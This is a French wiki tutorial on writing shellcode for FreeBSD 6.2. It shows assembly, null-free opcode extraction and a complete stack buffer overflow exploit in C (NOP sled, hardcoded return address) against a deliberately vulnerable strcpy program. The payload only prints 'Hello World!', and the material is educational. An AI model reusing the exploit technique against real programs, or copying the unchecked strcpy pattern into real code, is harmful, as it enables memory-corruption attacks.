Shellcoding sous FreeBSD 6.2

FIXME (en cours de relecture)

Intro

Après avoir lu les tutos de jfg, je vous propose de vous initier brièvement au shellcoding sous FreeBSD. Ici, nous aurons à faire à un simple shellcode qui affiche “Hello World!”, vous pourrez trouver de “vrai” shellcodes (c-a-d qui lancent un shell) sur le ternet.. Le but ici étant de vous familiariser avec l'assembleur sous FreeBSD.

Prérequis

Lors de ce tuto, j'utilise uniquement la syntaxe Intel™ (NASM toussa) dans le premier 'Hello World' pour vous aider à le comparer avec celui donné dans le tuto de jfg. Le reste est écrit en syntaxe Unix (AT&T) (AS toussa) car étant ma syntaxe de préférence. J'en rappelle brièvement la plus grosse différence :

(Intel / NASM)  MOV EAX,4               (instruction destination source)
(AT&T / AS)     MOVL $0x4,%EAX          (instruction source destination)

Plan

  • “Hello World” basique pour comparer efficacement avec le “Hello World” apercu ici
  • “Hello World” 'optimisé' pour le shellcoding (ASM syntaxe AT&T)
  • “Exploitation” très très très simple d'un buffer overflow

Hello World !

Voici donc un Hello World de tout ce qu'il y a de plus classique, mais pour FreeBSD :

section .text
    global _start
_start:
    mov     eax,0               ; mise à zero du registre EAX
    push    dword   strlen      ; arg 3 : la longueur de la chaîne
    push    dword   string      ; arg 2 : la chaîne de caractères
    push    dword   1           ; arg 1 : la sortie (STDOUT)
    mov     eax,4               ; syscall : 4 (write)
    push    eax                 ; envoi d'EAX dans la stack
    call    7:0                 ; appel du kernel
    add     esp,12              ; nettoyage de la stack : incrémente ESP de 4*nb arg = 4*3 = 12

    push    dword   0           ; arg 1 : valeur de exit(0)
    mov     eax,1               ; syscall : 1 (exit)
    push    eax                 ; envoi d'EAX dans la pile
    call    7:0                 ; appel kernel

section .data
    string  db  "Hello World!",0x0a     ; Hello World!\n
    strlen  equ $ - string              ; longueur

Ce que vous pouvez remarquer :

  • Contrairement à Linux qui dispose ses arguments dans plusieurs registres (rappellez-vous, EBX, ECX toussa), ici nous 'pushons'

directement les arguments dans la stack (et dans le sens inverse). (rajout jfg: oui enfin utiliser les registres pour passer des arguments c'est un peu vieux, et sous linux on utilise aussi la stack, cf partie II et III)

  • “add esp,12” consiste à nettoyer la stack pour le prochain appel système (pour des registres 32bits, d'ou le 4bytes * 3)
  • “call 7:0” est l'appel au noyau de manière propre (on verra une autre manière de procéder)

Si on s'intéresse au résultat :

$ nasm -f elf hello.s
$ ld -o hello hello.o
$ ./hello
Hello World!
$

On se permet de vérifier le code désassemblé

$ objdump -d hello

hello:     file format elf32-i386-freebsd

Disassembly of section .text:

08048080 <_start>:
 8048080:       b8 00 00 00 00          mov    $0x0,%eax
 8048085:       68 0d 00 00 00          push   $0xd
 804808a:       68 bc 90 04 08          push   $0x80490bc
 804808f:       68 01 00 00 00          push   $0x1
 8048094:       b8 04 00 00 00          mov    $0x4,%eax
 8048099:       50                      push   %eax
 804809a:       9a 00 00 00 00 07 00    lcall  $0x7,$0x0
 80480a1:       81 c4 0c 00 00 00       add    $0xc,%esp
 80480a7:       68 00 00 00 00          push   $0x0
 80480ac:       b8 01 00 00 00          mov    $0x1,%eax
 80480b1:       50                      push   %eax
 80480b2:       9a 00 00 00 00 07 00    lcall  $0x7,$0x0
$

Et pour finir l'on vérifie l'execution du code avec le doublet ktrace(1)/kdump(1) (sous linux c'est strace):

$ ktrace ./hello
Hello World!
$ kdump
 12951 ktrace   RET   ktrace 0
 12951 ktrace   CALL  execve(0xbfbfedbb,0xbfbfece0,0xbfbfece8)
 12951 ktrace   NAMI  "./hello"
 12951 hello    RET   execve 0
 12951 hello    CALL  write(0x1,0x80490bc,0xd)
 12951 hello    GIO   fd 1 wrote 13 bytes
       "Hello World!
       "
 12951 hello    RET   write 13/0xd
 12951 hello    CALL  exit(0)

Nous voyons que l'appel à write est correctement effectué (0xd = 13 et 0x80490bc correspond à l'adresse de la chaine)

Hello World optimisé

C'est bien beau de faire un Hello World mais il y a quelques manip' à faire pour s'assurer de son execution dans un programme en C.

Le point bloquant ici est qu'il y a de nombreux bits nuls qui vont poser problème lors de l'execution de la chaine.. Il faut donc les éliminer..

Reprenons le dernier objdump…

Attention on est en AT&T maintenant !!

pour mettre à zero un registre, une astuce consiste à utiliser xor (ou exclusif)
b8 00 00 00 00          mov    $0x0,%eax
        cette instruction devient xor %eax, %eax

L'instruction lcall peut être remplacée avantageusement par int $0x80 comme sous Linux
9a 00 00 00 00 07 00    lcall  $0x7,$0x0

Autre astuce ici, seuls les 8bits du registre AL peuvent être modifiés !
b8 01 00 00 00          mov    $0x1,%eax
                devient donc mov $0x1,%al

On peut aussi se débrouiller pour hardcoder la chaine “Hello World!\n” en code ASCII afin d'eviter les calls…

Au final nous obtenons :

xorl     %eax,%eax       /* mise à zero d'EAX */
pushl    $0x0a           /* \n */
pushl    $0x21646c72     /* !dlr */
pushl    $0x6f57206f     /* oW o */
pushl    $0x6c6c6548     /* lleH */
movl     %esp,%ebx       /* nous sauvegardons l'addresse de la chaine dans EBX */
pushl    $0xd            /* arg 3 : len(str) = 13 */
pushl    %ebx            /* arg 2 : HelloWorld!\n00 */
pushl    $0x1            /* arg 1 : STDOUT */
mov      $0x4,%al        /* registre AL (premiers 8bits d'EAX), sys_write : 4 */
pushl    %eax            /* envoi EAX dans la stack avant l'appel kernel */
int      $0x80           /* appel kernel */
addl     $0xc,%esp       /* nettoyage de la stack */

xorl     %eax,%eax       /* reset EAX */
pushl    %eax            /* arg 1 = 0 */
mov      $0x1,%al        /* sys_exit */
pushl    %eax            /* envoi EAX dans la stack */
int      $0x80           /* exécute */

C'est beau lutin ? D'autant plus en voyant cela :

hello:     file format elf32-i386-freebsd

Disassembly of section .text:

08048074 <.text>:
 8048074:       31 c0                   xor    %eax,%eax
 8048076:       6a 0a                   push   $0xa
 8048078:       68 72 6c 64 21          push   $0x21646c72
 804807d:       68 6f 20 57 6f          push   $0x6f57206f
 8048082:       68 48 65 6c 6c          push   $0x6c6c6548
 8048087:       89 e3                   mov    %esp,%ebx
 8048089:       6a 0d                   push   $0xd
 804808b:       53                      push   %ebx
 804808c:       6a 01                   push   $0x1
 804808e:       b0 04                   mov    $0x4,%al
 8048090:       50                      push   %eax
 8048091:       cd 80                   int    $0x80
 8048093:       83 c4 0c                add    $0xc,%esp
 8048096:       31 c0                   xor    %eax,%eax
 8048098:       50                      push   %eax
 8048099:       b0 01                   mov    $0x1,%al
 804809b:       50                      push   %eax
 804809c:       cd 80                   int    $0x80

Il ne te reste plus qu'à récupérer les opcodes et à les incorporer dans ton .c :

#include <unistd.h>

char shellcode[] =
        "\x31\xc0"
        "\x6a\x0a"
        "\x68\x72\x6c\x64\x21"
        "\x68\x6f\x20\x57\x6f"
        "\x68\x48\x65\x6c\x6c"
        "\x89\xe3"
        "\x6a\x0d"
        "\x53"
        "\x6a\x01"
        "\xb0\x04"
        "\x50"
        "\xcd\x80"
        "\x83\xc4\x0c"
        "\x31\xc0"
        "\x50"
        "\xb0\x01"
        "\x50"
        "\xcd\x80";

int
main(void)
{
        void (*run)()=(void *)shellcode;
        printf("longueur du shellcode : %d bytes\n", strlen(shellcode));
        run();
        return 0;
}

On compile et on vérifie :

$ ktrace ./hello_shellcode
longueur du shellcode : 42 bytes
Hello World!
$ kdump
--- SNIP ---
 14953 hello_shellcode CALL  write(0x1,0xbfbfec5c,0xd)
--- SNIP ---
 14953 hello_shellcode CALL  exit(0)

Bon 42 bytes c'est assez long pour un shellcode donc il est encore optimisable (par exemple enlever l'appel à exit, éviter le cleaning de la stack …)

Mais ca suffira pour la dernière partie de notre tuto :

Buffer Overflow

Voici notre petit programme vulnérable :

#include <stdio.h>

int
main(int argc, char **argv)
{
        char buf[256];

        memset(buf, 0, sizeof buf);

        if (argc < 2) {
                fprintf(stderr, "Usage : ./vuln prout\n");
                exit(0);
        }
        strcpy(buf, argv[1]);
        printf("buf: %s\n", buf);
        return 0;
}

Ici, ce qui cause problème, c'est strcpy qui ne vérifie pas si la valeur entrée est plus grande ou non que le buffer alloué..

$ ./vuln
Usage : ./vuln prout
$ ./vuln blah
buf: blah
$ ./vuln `perl -e 'print "A"x300'
buf: AAAAAAAAAAAA[--SNIP--]AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
segmentation fault (core dumped)  ./vuln `perl -e 'print "A"x300'`

Comme vous le constatez, une trop grande valeur entrée en argument provoque un segfault.. GDB va nous aider a en savoir un peu plus …

$ gdb -core=vuln.core
(gdb) i r
eax            0x0      0
ecx            0x132    306
edx            0x132    306
ebx            0x2      2
esp            0xbfbfeb50       0xbfbfeb50
ebp            0x41414141       0x41414141
esi            0xbfbfeba8       -1077941336
edi            0x2804eb64       671411044
eip            0x41414141       0x41414141
eflags         0x10286  66182
cs             0x33     51
ss             0x3b     59
ds             0x3b     59
es             0x3b     59
fs             0x3b     59
gs             0x1b     27
(gdb) file vuln
Reading symbols from vuln...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
0x08048560 <main+0>:    push   %ebp
0x08048561 <main+1>:    mov    %esp,%ebp
0x08048563 <main+3>:    sub    $0x108,%esp
0x08048569 <main+9>:    and    $0xfffffff0,%esp
--- SNIP ---

Voila qui est intéressant : non seulement EBP est réecrit avec notre valeur (0x41 = A en hexa) mais aussi le pointeur d'adresse EIP.. (EIP est un registre qui contient l'adresse de la prochaine instruction à exécuter).

Autre chose d'intéressant : l'instruction “sub $0x108,%esp” indique la valeur réellement allouée à notre buffer “buf” par GDB.. 0x108 correspondant en hexa à 264..

Pour rappel, notre buffer ferait 264 bytes, EBP quatre de plus et ensuite se situerait EIP (encore 4bytes)

Vérifions cela :

$ ./vuln `perl -e 'print "A"x268 . "BBBB"'`
---SNIP---
$ gdb -core=vuln.core
---SNIP---
(gdb) i r ebp
ebp            0x41414141       0x41414141
(gdb) i r eip
eip            0x42424242       0x42424242

On commence à sentir venir les choses, car nous avons trouvé comment remplir notre tampon et entrer la valeur de retour dans EIP (“B” = 0x42).

(gdb) x/150x $esp
0xbfbfec90:     0x75762f2e      0x41006e6c      0x41414141      0x41414141
0xbfbfeca0:     0x41414141      0x41414141      0x41414141      0x41414141
--SNIP--
0xbfbfed90:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfbfeda0:     0x42414141      0x00424242
--SNIP--

Cette valeur de retour, il “suffit” de la prendre dans le buffer que nous remplirons par des NOP (0x90) au lieu de “A”.. Cette instruction demande au processeur de ne rien faire. Le but ici est de placer notre shellcode dans cet espace de cette manière :

XXXX NOP NOP NOP NOP SHELLCODE NOP EIP XXXXX

Il nous faut donc un buffer assez grand pour entrer nos 42 bytes et c'est justement le cas.. Pour exploiter cette faille, voici un petit code C

#include <stdlib.h>

#define SICK            "./vuln"        //chemin du programme
#define NOP             0x90            //OPCODE du NOP
#define BUFFERSIZE      264             //taille du buffer

/* notre shellcode */
unsigned char shellcode[] =
        "\x31\xc0"
        "\x6a\x0a"
        "\x68\x72\x6c\x64\x21"
        "\x68\x6f\x20\x57\x6f"
        "\x68\x48\x65\x6c\x6c"
        "\x89\xe3"
        "\x6a\x0d"
        "\x53"
        "\x6a\x01"
        "\xb0\x04"
        "\x50"
        "\xcd\x80"
        "\x83\xc4\x0c"
        "\x31\xc0"
        "\x50"
        "\xb0\x01"
        "\x50"
        "\xcd\x80";

int
main(int argc, char *argv[])
{
        unsigned long addr;     //adresse que nous allons entrer dans EIP
        char ptr[BUFFERSIZE];   //buffer

        memset(ptr, 0, BUFFERSIZE + 8); //On s'assure que notre buffer est tout propre
        memset(ptr, NOP, BUFFERSIZE + 8); //Nous le remplissons de NOP
        /* Et ici nous copions notre shellcode */
        memmove(ptr + BUFFERSIZE - strlen(shellcode), shellcode, strlen(shellcode));
        /* Adresse de retour choisie qui se situe dans les NOP et avant le shellcode */
        addr = 0xbfbfecb0;
        printf("Adresse utilisee pour remplir EIP : 0x%lx\n", addr);
        *(long *)&ptr[BUFFERSIZE + 4] = addr; /* Nous la plaçons juste après EBP */
        printf("Envoi du shellcode !\n");
        execl(SICK, "vuln injection", ptr, NULL);
        return 0;
}

Plus qu'à compiler et à exécuter

$ ./exploit_vuln
Adresse utilisee pour remplir EIP : 0xbfbfecb0
Envoi du shellcode !
buf: 1Àj
Sj°PÍÄo WohHellãj
      1ÀP°PÍ°ì¿¿Äì¿¿dë(xì¿¿°ì¿¿
Hello World! 
$

Et enfin le petit kdump nous dit :

---SNIP---
 24177 vuln     GIO   fd 1 wrote 231 bytes
       0x0000 6275 663a 2090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090  |buf: ...............................|
       0x0024 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090  |....................................|
       0x0048 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090  |....................................|
       0x006c 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090  |....................................|
       0x0090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090  |....................................|
       0x00b4 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090 9090  |....................................|
       0x00d8 9090 9090 9090 9090 9090 9031 c06a 0a                                                      |...........1.j.|

 24177 vuln     RET   write 231/0xe7
 24177 vuln     CALL  write(0x1,0x804b000,0x40)
 24177 vuln     GIO   fd 1 wrote 64 bytes
       0x0000 6872 6c64 2168 6f20 576f 6848 656c 6c89 e36a 0d53 6a01 b004 50cd 8083 c40c 31c0 50b0 0150  |hrld!ho WohHell..j.Sj...P.....1.P..P|
       0x0024 cd80 9090 9090 b0ec bfbf dcec bfbf 64eb 0428 98ec bfbf b0ec bfbf 100a                      |..............d..(..........|

 24177 vuln     RET   write 64/0x40
 24177 vuln     CALL  write(0x1,0xbfbfeb60,0xd)
 24177 vuln     GIO   fd 1 wrote 13 bytes
       "Hello World!
       "
 24177 vuln     RET   write 13/0xd
 24177 vuln     CALL  exit(0)

Avec le petit apercu de la pile :)

Changelog

* 24/09/2007 Création du tip par hotbox

* 24/09/2007 jfg, Rajout de quelques explications et modification d'un slash :)

codaz/asm/freebsd_shellcoding.txt · Last modified: 2010/01/12 13:29 (external edit)